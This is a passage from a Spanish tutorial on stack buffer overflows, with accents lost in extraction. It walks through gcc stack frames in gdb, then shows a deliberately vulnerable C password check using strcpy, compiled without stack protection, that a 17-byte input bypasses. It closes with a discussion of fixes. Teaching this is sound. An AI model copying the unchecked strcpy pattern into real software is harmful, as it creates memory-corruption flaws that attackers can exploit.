Por ultimo se almacenan las variables locales de la funcin. o En este momento hay varias preguntas que no tienen respuesta: Qu es la direccin de retorno? e o Cuando se ejecuta un programa, cada una de las instrucciones que forman ese programa son almacenadas en memoria. Como ya se ha visto en los cap tulos anteriores, la instruccin equivalente en ensamblador a llamar una funcin es la instruccin o o o call. La instruccin call hace que el ujo de ejecucin de un programa se desv y o o e que se ejecuten instrucciones que no son contiguas a este call. Una vez se ha ejecutado la funcin en cuestin, el ujo de ejecucin del programa debe continuar con la o o o instruccin contigua al call. o Para que se pueda llevar a cabo correctamente esta tarea es necesario almacenar la direccin de memoria donde se ubica dicha instruccin. Si no se almacenara la o o direccin donde se ubica la instruccin posterior al call no ser posible continuar o o a ejecutando el programa. Qu es la direccin del marco de pila anterior? e o La direccin del marco de pila anterior31 es la direccin de memoria donde empieza o o el marco de pila anterior. Se debe tener constancia de esta direccin ya que de no o ser as no ser posible ejecutar algoritmos recursivos. a Cmo se sabe que lo primero que se almacena en el marco de pila son o los argumentos de la funcin y que no son lo ultimo que se almacena? o Para responder a esta pregunta, partiendo de la base de que el esquema del marco de pila anterior es correcto, es necesario saber si los datos que se almacenan en la pila se almacenan de forma ascendente o de forma descendente. O sea, si los datos se almacenan de posiciones de memoria menores hacia direcciones de memoria mayores o del revs. e Para desmostrar este concepto, se puede utilizar el siguiente cdigo. o
1 2 3 4 5 6 7 8

# include < stdio .h > void foo () { int reg_esp ; // ESP value is stored in reg_esp variable __asm__ __volatile__ ( " mov % %esp , %0" : " = g " ( reg_esp ) ) ;
31

Saved Frame Pointer

55

printf ( " ESP value in function : %p \ n " , ( void *) reg_esp ); } int main ( int argc , char ** argv ) { int reg_esp ; __asm__ __volatile__ ( " mov % %esp , %0" : " = g " ( reg_esp ) ) ; printf ( " ESP value before function : %p \ n " , ( void *) reg_esp ) ; foo () ; __asm__ __volatile__ ( " mov % %esp , %0" : " = g " ( reg_esp ) ) ; printf ( " ESP value after function : %p \ n \ n " , ( void *) reg_esp ) ; return 0; }

10 11 12 13 14 15 16 17 18

19 20 21 22 23 24

25 26 27

Cdigo 35. Obteniendo el valor del registro ESP o El registro ESP es un registro que almacena la direccin del ultimo dato que se ha o insertado en la regin de memoria que se utiliza como pila para contruir los marcos de o pila de cada funcin. Este cdigo muestra el valor del registro ESP antes de ejecutar o o una funcin, mientras se est ejecutando la funcin y una vez se ha ejecutado la o a o funcin. o La salida del programa es la siguiente:
newlog@newlog :~/ Documentos / Shellcoding / Codigos / StackOv erflows / GrowingStack$ ./ growingStack ESP value before function : 0 xbf8c2490 ESP value in function : 0 xbf8c2460 ESP value after function : 0 xbf8c2490 newlog@newlog :~/ Documentos / Shellcoding / Codigos / StackOv erflows / GrowingStack$

Cdigo 36. Valor del registro ESP o El valor del registro ESP antes de que se ejecute la funcin es la direccin o o 0xbf8c2490. Una vez se est ejecutando la funcin, el valor del registro ESP es a o 0xbf8c2460. Esto signica que cuando se est ejecutando la funcin, la direccin a o o de memoria que almacena el registro ESP es menor - 30 bytes menor - que la direccin de memoria que almacena el registro ESP antes o despus de que se haya o e ejecutado la funcin. Esto signica que la pila crece de modo descendente. De direco 56

ciones mayores a menores. Esto es importante ya que gracias o a pesar de ello, se podrn o no se podrn sobrea a escribir datos importantes del marco de pila de cada funcin. o

9.1.

Marco de pila generado por el compilador GCC

Una vez ilustrado el mtodo de construccin terico del marco de pila, este apartae o o do mostrar cual es la estructura exacta del marco de pila generado por el compilador a GCC en su versin 4.4.5. Este es un paso imprescindible para entender que no es o necesario conocer exactamente la estructura del marco de pila para aprovechar un desbordamiento de bfer en la pila. u La mayor de los compiladores actuales siguen el patrn explicado anteriormente, a o sin embargo, aaden datos ajenos al cdigo compilado por cuestiones de funcionalin o dad, rendimiento, etc. Para ver la estructura del marco de pila de una funcin, se descompilar el siguiente o a cdigo fuente. o

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

# include < stdio .h > int foo ( int var1 ) { int var2 ; var1 = 1; var2 = 2; return var2 ; } int main () { int var1 = 2; foo ( var1 ) ; return 0; }

Cdigo 37. Cdigo fuente stackFrame.c o o El cdigo fuente es muy simple. A continuacin se descompilar el main y la o o a funcin f oo para saber qu instrucciones en ensamblador genera gcc al compilar el o e cdigo fuente. o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / StackFrame$ gcc stackFrame . c -o stackFrame

57

n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / StackFrame$ gdb -q stackFrame Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / StackFrame / stackFrame ...( no se encontraron s mbolos de depuraci n ) hecho . o ( gdb ) set disassembly - flavor intel ( gdb ) disass main Dump of assembler code for function main : 0 x080483ad <+0 >: push ebp 0 x080483ae <+1 >: mov ebp , esp 0 x080483b0 <+3 >: sub esp ,0 x14 0 x080483b3 <+6 >: mov DWORD PTR [ ebp -0 x4 ] ,0 x2 0 x080483ba <+13 >: mov eax , DWORD PTR [ ebp -0 x4 ] 0 x080483bd <+16 >: mov DWORD PTR [ esp ] , eax 0 x080483c0 <+19 >: call 0 x8048394 < foo > 0 x080483c5 <+24 >: mov eax ,0 x0 0 x080483ca <+29 >: leave 0 x080483cb <+30 >: ret End of assembler dump . ( gdb ) disass foo Dump of assembler code for function foo : 0 x08048394 <+0 >: push ebp 0 x08048395 <+1 >: mov ebp , esp 0 x08048397 <+3 >: sub esp ,0 x10 0 x0804839a <+6 >: mov DWORD PTR [ ebp +0 x8 ] ,0 x1 0 x080483a1 <+13 >: mov DWORD PTR [ ebp -0 x4 ] ,0 x2 0 x080483a8 <+20 >: mov eax , DWORD PTR [ ebp -0 x4 ] 0 x080483ab <+23 >: leave 0 x080483ac <+24 >: ret End of assembler dump . ( gdb ) quit

Cdigo 38. Ejecutable stackFrame descompilado o Para descompilar el main y la funcin f oo se utiliza el depurador gdb. Con la o opcin q se especica que no se muestre un mensaje informativo del depurador. o Como segundo parmetro se especica el nombre del binario a descompilar. Acto a seguido, dentro de gdb se especica que el cdigo ensamblador que se muestre, se o 32 muestre con la sintaxis intel . Para descompilar el cdigo de la funcin f oo se utiliza la instruccin disass f oo. o o o Una vez descompilado el programa, se puede ver que tanto la funcin principal o main como la funcin f oo construyen sus respectivos marcos de pila de un modo o genrico. e Con la instruccin push ebp se est almacenando en la pila la direccin de meo a o moria del marco de pila anterior. En el caso de la funcin main lo que se almacena o es la direccin inicial del segmento de memoria utilizado para construir los marcos o de pila del programa ejecutado. La instruccin mov ebp, esp se encarga de que el registro ebp almacene la direccin o o que contiene el registro esp. De este modo se guarda la direccin actual del ultimo o dato aadido al segmento de memoria utilizado como pila. Esta direccin de memoria n o
Para ms informacin sobre las diferentes sintaxis del lenguaje ensamblador visitar a o http://www.ibm.com/developerworks/library/l-gas-nasm.html
32

58

ser la nueva base del marco de pila que se crear para la funcin a ejecutar. a a o Despus de esta instruccin, la construccin del marco de pila de cada funcin sigue e o o o el mismo patrn pero es dependiente del cdigo fuente de cada funcin. o o o La siguiente instruccin de la funcin main es sub esp, 0x14 y la de la funcin f oo es o o o sub esp, 0x10. Como se puede ver la estructura es la misma. Con las dos instrucciones se reserva espacio en la pila para los diferentes datos con los que se trabajar33 . a Como se puede ver, aunque la funcin main trabaja con una sola variable se reserva o ms espacio en la pila que cuando se construye el marco de pila de la funcin f oo, a o que trabaja con dos variables, una variable local y un parmetro34 . El espacio que se a reserva es mltiple de cuatro para solucionar problemas de alineacin en la memoria. u o As pues, en la funcin main se reservan 20 bytes y en la funcin f oo se reservan 16 o o bytes. Una vez se llega a este punto, el marco de pila ya se ha construido. A partir de este momento se ejecutan las instrucciones relativas al cdigo fuente de la funcin a o o ejecutar. En el caso de la funcin main, la instruccin a ejecutar es mov DWORD o o PTR [ebp 0x4], 0x2, que es el equivalente a int var1 = 2;. Esta instruccin almaceo na el valor numrico 2 en la direccin de memoria que contiene el registro ebp menos e o 4 bytes. Como ya se ha comentado, el registro ebp contiene el valor del registro esp antes de que a este se le hubieran restado 20 bytes para hacer la reserva de espacio. Desde el momento en el que el registro ebp almacena el valor del registro esp, se utiliza el valor del registro ebp como referencia en el momento de almacenar u obtener los valores de las variables locales o parmetros. De este modo se pueden continuar a insertando datos en la pila35 sin que se pierda la referencia de donde estn ubicadas a las variables en memoria. As pues, debido a que el registro ebp contiene la direccin o de la primera posicin de memoria libre para la que se ha reservado espacio, y recoro dando que la pila crece hacia direcciones de memoria inferiores, se le debe restar 4 bytes36 a la direccin que contiene ebp para almacenar el valor de la variable var1. o Las siguientes dos instrucciones de la funcin main se encargan de preparar el o parmetro de la funcin f oo para que esta pueda obtener el valor de la variable var1 a o de la funcin main. Debido a que la variable var1 de la funcin main se pasa por o o valor y no por referencia, en memoria se debe crear una copia de la variable var1 para que si la funcin f oo modica su valor, esta modicacin no se vea reejada o o en el ambito de ejecucin de la funcin main. Esta labor es la que realizan las ins o o trucciones mov eax, DWORD PTR [ebp 0x4] y mov DWORD PTR [esp], eax. La
El hecho de reservar espacio en la pila signica modicar el valor del registro esp. De este modo queda espacio libre en la memoria para almacenar distintos valores sin que estos se sobreescriban en el prximo push. o 34 No se ha podido disponer de ningn tipo de documentacin que explique el algoritmo utilizado u o por GCC para reservar espacio en memoria al construir el marco de pila. 35 Por consiguiente el valor del registro esp se decrementa. 36 En este caso, una variable entera ocupa 4 bytes.
33

59

primera instruccin se encarga de obtener el valor de la variable var1 almacenado en o la direccin de memoria contenida en el registro ebp menos 4 bytes y almacenarla en o el registro eax. La segunda instruccin se encarga de almacenar el valor contenido o en el registro eax en la direccin de memoria contenida por el registro esp. Como o ya se ha comentado, el registro esp contiene la direccin de memoria ms baja de la o a seccin de memoria utilizada como pila. De este modo se ha creado una copia de la o variable var1 de la funcin main y se ha posicionado al principio de lo que ser el o a marco de pila creado para la funcin f oo. o La siguiente instruccin - call 0x8048394 < f oo > - se encarga de dirigir el ujo o de ejecucin del programa a las instrucciones pertenecientes a la funcin f oo. Sin o o embargo, antes de realizar la redireccin del ujo de ejecucin, la instruccin call o o o aade a la pila - ejecutando una instruccin push - la direccin de memoria de la n o o siguiente instruccin a ejecutar una vez nalice la funcin llamada. En el programa o o descompilado, la instruccin call aadir a la pila el valor 0x080483c5. Este comporo n a tamiento ya se explico en el cap tulo T he JMP/CALL T rick. Las primeras tres instrucciones de la funcin f oo construyen el marco de pila de o la funcin tal y como ya se ha explicado anteriormente. o La instruccin mov DWORD PTR [ebp + 0x8], 0x1 almacena en la direccin de meo o moria que contiene el registro ebp ms 8 bytes el valor numrico 1. El cdigo fuente a e o de la funcin f oo relativo a estas instrucciones es var1 = 1;. Debido a la creacin o o del marco de pila de la funcin f oo, el registro ebp contiene el valor del registro esp o antes de que se reserve espacio para las variables locales. Como se ha comentado anteriormente, antes de saltar al cdigo perteneciente a la funcin f oo, la funcin o o o main ha ubicado el valor de su variable var1 en la direccin de memoria contenida o en el registro esp en ese momento. Despus de realizar dicha accin, se ha saltado al e o cdigo de la funcin f oo y las instrucciones que se han ejecutado han sido pushebp y o o movebp, esp. La instruccin pushebp permite almacenar en la pila la direccin inicial o o del marco de pila anterior, y, a la vez, debido a que en una arquitectura de 32 bits una direccin de memoria ocupa 4 bytes, el contenido del registro esp se ha visto o decrementado en 4. De este modo, para asignarle un valor al parmetro var1 de la funcin f oo se deber a o a acceder a la direccin de memoria almacenada en el registro ebp menos 4 bytes de o la direccin de memoria aadida a la pila por la instruccin call, menos 4 bytes de o n o la direccin de memoria almacenada en la pila por la instruccin pushebp. Por esta o o razn, en la instruccin mov DWORD PTR [ebp + 0x8], 0x1 se le suman 8 bytes a o o la direccin que contiene el registro ebp. Gracias a este calculo es posible asignarle el o valor numrico 1 a la copia de la variable var1 de la funcin main que se ha creado e o para poder pasarla como parmetro . a

60

Tal y como sucede en la funcin main, la instruccin mov DWORD PTR [ebp o o 0x4], 0x2 se encarga de almacenar el valor numrico 2 en el espacio reservado para e las variable locales en el marco de pila de la funcin f oo. o A continuacin, tanto en la funcin main como en la funcin f oo las ultimas tres o o o instrucciones son casi idnticas. En la funcin f oo se accede al valor de la variable e o local var2 y se almacena en el registro eax. Por otro lado, en la funcin main en o el registro eax se almacena el valor numrico 0. Estos dos valores son los valores de e retorno, y como se puede deducir, el compilador GCC acostumbra a almacenar los valores de retorno en el registro eax. Por ultimo, tanto la funcin main como la funcin f oo ejecutan las instrucciones o o leave y ret. La instruccin leave se encarga de destruir el marco de pila creado para cada funo cin. El modo de destruir un marco de pila es asignarle al registro esp el valor que o conten antes de realizar la reserva de espacio para las variables locales de una funa cin. Aunque los valores de las variables con las que trabaja una funcin queden en o o memoria, cuando el valor del registro esp es decrementado hasta su valor inicial antes de la construccin del marco de pila, se considera que el marco de pila es destruido o ya que se pierde la referencia de donde estn los datos y, cuando una nueva funcin a o del programa sea ejecutada, los valores de la funcin antigua sern sobreescritos. o a En este momento, en el marco de pila de una funcin slo queda la direccin de o o o memoria aadida a la pila por la instruccin call. Gracias a esta direccin de men o o moria, el ujo de ejecucin del programa puede retornar a la siguiente instruccin o o despus del call. El registro que se encarga de almacenar la direccin de memoria e o donde est ubicada la siguiente instruccin a ejecutar es el registro llamado eip37 . a o La instruccin ret se encarga de almacenar la direccin de memoria aadida por la o o n instruccin call en el registro eip. El equivalente a esta operacin ser la instruccin o o a o pop eip, con lo que el valor de 4 bytes al que apunta el registro esp se almacenar a en el registro eip y a la direccin de memoria almacenada por el registro esp se le o restar un 4. a Una vez se ha llegado a este punto, el marco de pila de la funcin ha sido destruido o y la siguiente instruccin a ejecutar ser la que segu a la instruccin call que ha o a a o invocado a la funcin. o Una vez analizado cmo se construye un marco de pila real, se deben resaltar tres o aspectos muy importantes. El primero de ellos es que el algoritmo de reserva de espacio del marco de pila parece ser que no est publicado y por tanto no se puede saber exactamente la ubicacin a o de los datos a menos que descompiles el ejecutable y lo analices profundamente. En programas pequeos este proceso puede parecer simple, sin embargo, en aplicaciones n de gran tamao el proceso puede ser bastante arduo. n
37

Extended Instruction P ointer

61

El segundo aspecto es que cuando el anlisis esttico de un ejecutable se hace coma a plicado, hay aplicaciones que permiten depurar los programas de manera dinmica. a Gracias a este tipo de herramientas se puede descubrir qu operaciones internas ejee cutan las instrucciones como call, ret o leave. Aunque en sistemas W indows existen mltiples herramientas vlidas para esta tarea, en sistemas Linux este tipo de heu a rramientas escasean. Una muy buena opcin es una aplicacin llamada EDB38 . o o El tercer y ms importante aspecto es que cuando se construye el marco de pila a se inserta un dato que permite modicar el ujo de ejecucin del ejecutable. Este o dato en cuestin es el valor del registro eip que inserta en la pila la instruccin call. o o Este tema se tratar en los prximos cap a o tulos.

9.2.

Desbordamiento bsico de b fers en la pila a u

Una vez establecidos los conceptos bsicos sobre la construccin de los marcos a o de pila, se mostrar un ejemplo bsico de cmo se podr aprovechar un error de a a o a programacin. A partir de un cdigo muy bsico se mostrar cmo es posible que un o o a a o pequeo error de programacin desencadene en el bypass del sistema de autentican o cin del programa. El cdigo fuente vulnerable es el siguiente. o o

1 2 3 4 5 6 7 8 9 10 11

# include < stdio .h > # include < string .h > # include < stdlib .h > int checkPassword ( char * cpPassword ) { int iSuccess = 0; char caPassword [16]; strcpy ( caPassword , cpPassword ) ; if ( strcmp ( caPassword , " validPassword " ) == 0) iSuccess = 1; return iSuccess ; } int main ( int argc , char * argv []) { if ( argc != 2) { printf ( " [ -] Usage : %s < password >\ n " , argv [0]) ; exit (0) ;
38

12 13 14 15 16 17 18 19

La herramienta Evans Debugger se puede descargar de http://www.codef00.com/projects.php

62

20 21 22 23 24 25 26 27 28 29 30 31 32 33

} if ( checkPassword ( argv [1]) ) { printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + + \ n " ) ; printf ( " \ n | ACCESS GRANTED |\ n " ) ; printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + + \ n \ n " ) ; } else { printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + \ n " ) ; printf ( " \ n | ACCESS DENIED |\ n " ) ; printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + \ n \ n " ) ; } return 0; }

Cdigo 39. Cdigo fuente passwordProtected.c o o El cdigo fuente anterior permite acceder a ciertos contenidos del programa deo pendiendo del argumento que se le pase al ejecutable. Si un atacante no dispusiera del cdigo fuente y no pudiera aplicar ingenier inversa o a sobre el ejecutable, no le quedar ms remedio que probar todas y cada una de las a a posibles combinaciones alfanumricas hasta dar con la combinacin correcta. Si el e o programador ha elegido una clave robusta el proceso de brutef orcing 39 puede ser muy extenso. El atacante podr pasar aos probando combinaciones de entrada y a n no dar con la combinacin correcta. o A continuacin se mostrar un mtodo por el cual un atacante podr acceder a o a e a la zona protegida del cdigo fuente sin la necesidad de conocer siquiera el argumento o correcto que se le debe pasar al programa.
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gcc p a s s w o r d P r o t e c t e d . c -o p a s s w o r d P r o t e c t e d -fno - stack - protector n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ p a s s w o r d P r o t e c t e d AAAAA +++++++++++++++++++++++ | ACCESS DENIED |

+++++++++++++++++++++++ n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ p a s s w o r d P r o t e c t e d AAAAAAAAAA +++++++++++++++++++++++ |
39

ACCESS DENIED

Se conoce como brute f orcing el hecho de probar todas las combinaciones posibles permitidas por el vector de entrada de un ejecutable.

63

+++++++++++++++++++++++ n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ p a s s w o r d P r o t e c t e d A A AA AA AA A AA AA AA +++++++++++++++++++++++ | ACCESS DENIED |

+++++++++++++++++++++++ n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ passwordProtected AAAAAAAAAAAAAAAAA ++++++++++++++++++++++++ | ACCESS GRANTED |

++++++++++++++++++++++++ n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$

Cdigo 40. Stack overow en el ejecutable passwordProtected o Como se puede ver, se ha accedido a la seccin de cdigo restringida despus de o o e muy pocos intentos y sin tener conocimiento de la clave correcta. A continuacin se o ilustrar el motivo por el cual esto ha sucedido. a Primero de todo se debe explicar que la opcin f no stack protector desaco tiva una proteccin que aade el compilador gcc para evitar los desbordamientos de o n bfers en la pila. Cabe destacar que dicha proteccin se puede vulnerar, sin embargo, u o aprender a vulnerar esta proteccin no es el propsito de este documento. o o Analizando el cdigo fuente de la aplicacin, se puede deducir que el problema est en o o a la instruccin condicional if . De la condicin que evalua la instruccin if depende o o o qu parte de cdigo se ejecutar. La condicin que procesa la instruccin if viene e o a o o denida por la funcin checkP assword. Como parmetro, esta funcin recibe el arguo a o mento que introduce el usuario al ejecutar el programa. Acto seguido, este argumento es almacenado en una variable local de tipo char y de 16 bytes. A continuacin, se o comprueba si esta variable local es igual a la contrasea elegida por el programador. n Si es as en otra variable local de la funcin se almacena el valor numrico 1, en caso , o e contrario, esta variable local mantiene su valor inicial, que es 0. Por ultimo, el valor de esta ultima variable local se devuelve a la funcin main. o Despus de este simple anlisis, se puede concluir que el resultado de la instruce a cin condicional if depende del valor de la variable local iSuccess. Sin embargo, o parece ser que el programa no funciona como deber Para entender cul es el motia. a vo de que el programa no se ejecute como deber se deben comentar los dos errores a que se han cometido al desarrollar esta aplicacin. o 64

El primero de ellos y el que puede pasar desapercibido por los programadores con ms experiencia es que la instruccin if , tal y como est denida en el cdigo a o a o fuente, slo comprueba que el valor devuelto por la funcin sea igual a 0 o diferente o o a 0. A diferencia de lo que podr se intuir, la instruccin if no comprueba que el a o valor devuelto sea un 1 o un 0, sino que comprueba si el valor es igual o diferente a 0. Para mejorar el comportamiento de la instruccin if se deber modicar el bloque o a de cdigo: o
1 2 3 4 5 6 7 8 9

if ( checkPassword ( argv [1]) ) { printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + + \ n " ) ; printf ( " \ n | ACCESS GRANTED |\ n " ) ; printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + + \ n \ n " ) ; } else { printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + \ n " ) ; printf ( " \ n | ACCESS DENIED |\ n " ) ; printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + \ n \ n " ) ; }

Cdigo 41. Cdigo amb o o guo Por:


1 2 3 4 5 6 7 8 9

if ( checkPassword ( argv [1]) == 1 ) { printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + + \ n " ) ; printf ( " \ n | ACCESS GRANTED |\ n " ) ; printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + + \ n \ n " ) ; } else if ( checkPassword ( argv [1]) == 0 ) { printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + \ n " ) ; printf ( " \ n | ACCESS DENIED |\ n " ) ; printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + \ n \ n " ) ; }

Cdigo 42. Cdigo espec o o co Esta modicacin hace el cdigo mucho ms espec o o a co, aunque ste continua e siendo vulnerable. El segundo error que se ha cometido al programar la aplicacin y el que hace que el o ejecutable sea vulnerable es el mal uso de la funcin strcpy(). Tal y como apunta la o 40 pgina de manual referente a la funcin strcpy() , esta funcin se encarga de copiar a o o los datos ubicados en la direccin de memoria donde apunta su segundo parmetro o a hasta encontrar un byte nulo, en la direccin de memoria que contiene su primer o
En sistemas U nix se puede acceder a las pginas de manual ejecutando el comando man a <param>. Por ejemplo, man strcpy.
40

65

parmetro. a El principal problema de la funcin strcpy() es que no comprueba que los datos o del segundo parmetro ocupen menos que los datos que puede almacenar el primer a parmetro. a Qu pasar si el segundo parmetro fuera una cadena de 20 bytes y el primer parmee a a a tro fuera una cadena de 16 bytes? Pues que la funcin strcpy() copiar los 20 bytes o a del segundo parmetro - hasta encontrar un byte nulo - en la direccin de memoria a o donde apuntara el primer parmetro. Tal y como se ha demostrado en el apartado ana terior, un compilador reserva espacio contiguo para las variables con las que trabaja un programa, esto signica que para una variable que ocupa 16 bytes, el compilador, tericamente, le reservar 16 bytes de memoria y las dems variables o datos de cono a a trol se ubicarn en direcciones de memoria prximas a esta variable. As pues, si a a o una variable de 16 bytes se le asigna el valor de una variable de 20 bytes, en el mejor de los casos, slo se sobreescribirn otras variables o se sobreescribirn direcciones de o a a memoria relativas a otro ejecutable con lo que el ejecutable vulnerable dejar de funa cionar immediatamente. Sin embargo, en el peor de los casos se podrn sobreescribir a datos de control introducidos por el compilador. Este ultimo caso es el ms peligro a so y el que puede llevar a la ejecucin de cdigo arbitrario41 por parte de un atacante. o o Para corregir el problema que introduce la funcin strcpy se deben utilizar otras o funciones que hagan un control de los datos copiados entre variables o que el programador controle los tamaos de las variables para asegurar que la copia de datos n es posible. La funcin strncpy es una versin mejorada de la funcin strcpy y, como o o o parmetros, a parte de las dos variables para hacer la cpia de datos, recibe tambin a o e un entero que especica el nmero total de bytes que se van a copiar de una variable u a otra. As pues, basta con especicar un valor entero que no supere la capacidad del primer parmetro, teniendo en cuenta que la misma funcin strncpy no almacena un a o byte nulo como ultimo byte de la cadena destino. Si este aspecto no se controla o no se tiene en cuenta, el bfer al que se han copiado los datos podr dar problemas en u a operaciones posteriores. Para ver de forma dinmica qu es lo que ha pasado internamente al ejecutar el a e programa, se utilizar el depurador gdb tal y como se ha venido haciendo hasta el a momento. Primero de todo se mostrar el valor de las variables pasndole al ejecutable un ara a gumento de 16 bytes.

n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gdb q ./ p a s s w o r d P r o t e c t e d

La expresin de ejecucin de cdigo arbitrario acostumbra a hacer referencia a la ejecucin o o o o de cualquier cdigo fuente elegido por un atacante. o

41

66

Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / BasicExample / p a s s w o r d P r o t e c t e d ... hecho . ( gdb ) b checkPassword Punto de interrupci n 1 at 0 x804848a : file p a s s w o r d P r o t e c t e d .c , line 6. o ( gdb ) run A A A A AA A A A A A A A A A A Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d A A A A A A A A A A AA A A A A Breakpoint 1 , checkPassword ( cpPassword =0 xbffff58e A < repetidos 16 veces >) at p a s s w o r d P r o t e c t e d . c :6 6 int iSuccess = 0; ( gdb ) x & iSuccess 0 xbffff2ec : 0 x08048589 ( gdb ) n 9 strcpy ( caPassword , cpPassword ) ; ( gdb ) x /5 x caPassword 0 xbffff2dc : 0 x08048340 0 x0011eac0 0 x08049ff4 0 xbffff318 0 xbffff2ec : 0 x00000000 ( gdb ) print 0 xbffff2ec - 0 xbffff2dc $1 = 16 ( gdb ) n 11 if ( strcmp ( caPassword , " validPassword " ) == 0) iSuccess = 1; ( gdb ) x /5 x caPassword 0 xbffff2dc : 0 x41414141 0 x41414141 0 x41414141 0 x41414141 0 xbffff2ec : 0 x00000000 ( gdb ) n 13 return iSuccess ; ( gdb ) x & iSuccess 0 xbffff2ec : 0 x00000000 ( gdb ) c Continuando . +++++++++++++++++++++++ | ACCESS DENIED |

+++++++++++++++++++++++

Program exited normally . ( gdb ) quit

Cdigo 43. Anlisis con una entrada de 17 bytes o a Como se puede ver, lo primero que se hace es establecer un punto de ruptura al principio de la funci checkP assword. Una vez se lance el programa, su ejecucin on o se detendr al principio de la funcin en cuestin. Acto seguido, con la instruccin a o o o x &iSuccess, se analiza cual es el contenido de la direccin de memoria donde se o almacenan los valores de la variable iSuccess. El contenido de la variable iSuccess se almacena en la direccin de memoria 0xb2ec. Por el momento su contenido o es aleatorio. A continuacin, se analiza el contenido de la cadena caP assword con o la instruccin x/5x caP assword. El valor 5x especica que se muestren los valores o de 5 conjuntos de 32 bits contiguos a la direccin de memoria 0xb2dc, que es la o direccin de memoria inicial de la cadena representada por la variable caP assword. o Como se muestra a continuacin, la ubicacin de la variable caP assword y la vao o riable iSuccess dista en 16 bytes. Es por este hecho por el que al escribir 16 bytes en la cadena caP assword no se sobreescribe la variable iSucces. Por esta razn, al o 67

volver de la funcin checkP assword, el valor de la variable iSuccess es correcto y el o programa no muestra la parte de cdigo protegida. o Sin embargo, esta situacin cambiar cuando como parmetro se pase una cadeo a a na de 17 bytes. A continuacin se muestra un anlisis de dicha situacin: o a o

n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gdb q passwordProtected Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / BasicExample / p a s s w o r d P r o t e c t e d ... hecho . ( gdb ) b checkPassword Punto de interrupci n 1 at 0 x804848a : file p a s s w o r d P r o t e c t e d .c , line 6. o ( gdb ) run A A A A A A A A A A A A A A A A A Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d A A A A A A A A A A A A A A A A A Breakpoint 1 , checkPassword ( cpPassword =0 xbffff58e A < repetidos 17 veces >) at p a s s w o r d P r o t e c t e d . c :6 6 int iSuccess = 0; ( gdb ) x & iSuccess 0 xbffff2ec : 0 x08048589 ( gdb ) n 9 strcpy ( caPassword , cpPassword ) ; ( gdb ) x /5 x caPassword 0 xbffff2dc : 0 x08048340 0 x0011eac0 0 x08049ff4 0 xbffff318 0 xbffff2ec : 0 x00000000 ( gdb ) print 0 xbffff2ec - 0 xbffff2dc $1 = 16 ( gdb ) n 11 if ( strcmp ( caPassword , " validPassword " ) == 0) iSuccess = 1; ( gdb ) x /5 x caPassword 0 xbffff2dc : 0 x41414141 0 x41414141 0 x41414141 0 x41414141 0 xbffff2ec : 0 x00000041 ( gdb ) n 13 return iSuccess ; ( gdb ) x & iSuccess 0 xbffff2ec : 0 x00000041 ( gdb ) c Continuando . ++++++++++++++++++++++++ | ACCESS GRANTED |

++++++++++++++++++++++++

Program exited normally . ( gdb ) quit

Cdigo 44. Anlisis con una entrada de 17 bytes o a Esta vez se ejecutan las mismas instrucciones en gdb y lo unico que cambia es el nmero de As pasadas como argumento. Se han introducido 17 As en vez de 16. u Esto signica que como parmetro se pasa una cadena de 17 bytes y, como ya se ha a comentado, la variable caP assword slo tiene capacidad para almacenar 16 bytes. o De nuevo, la ubicacin de las variables caP assword y iSuccess siguen separadas por o 68

16 bytes. Es por esta razn por la que despus de ejecutar la funcin strcpy la variao e o ble caP assword contiene 16 As. Sin embargo, el byte 17 de la cadena pasada como parmetro se ha almacenado en la direccin de memoria cont a o gua a la A nmero u 16. Casualmente, o quiz no tan casualmente, la direccin de memoria contigua a la a o A nmero 16 es la posicin de memoria donde se almacena el valor de la variable u o iSuccess. Por esta razn, cuando se analiza la variable iSuccess en gdb con la inso truccin x, se muestra que su valor es 0x00000041. o Como se puede ver, la A nmero 17 ha sobreescrito el valor que la variable iSuccess u con lo que al retornar de la funcin su valor no ser 0 y se mostrar la zona de cdigo o a a o restringida aunque no se haya escrito la contrasea correcta. n

Cmo solucionar esta vulnerabilidad? o En un principio se tienen dos opciones. La primera es modicar la funcin que o hace que el cdigo sea vulnerable - en este caso es strcpy - por una funcin que o o solucione el problema. Y la segunda opcin es modicar el cdigo que se ve afectado o o por la vulnerabilidad. Un paralelismo a esta situacin ser un medicamento que cura o a el origen de una enfermedad y un medicamento que cura los efectos de la enfermedad. Si se solucionara la vulnerabilidad v la primera opcin se deber modicar la a o a instruccin strcpy por una instruccin que controlara el nmero de bytes copiados. o o u As pues se deber substituir la instruccin: a o
1

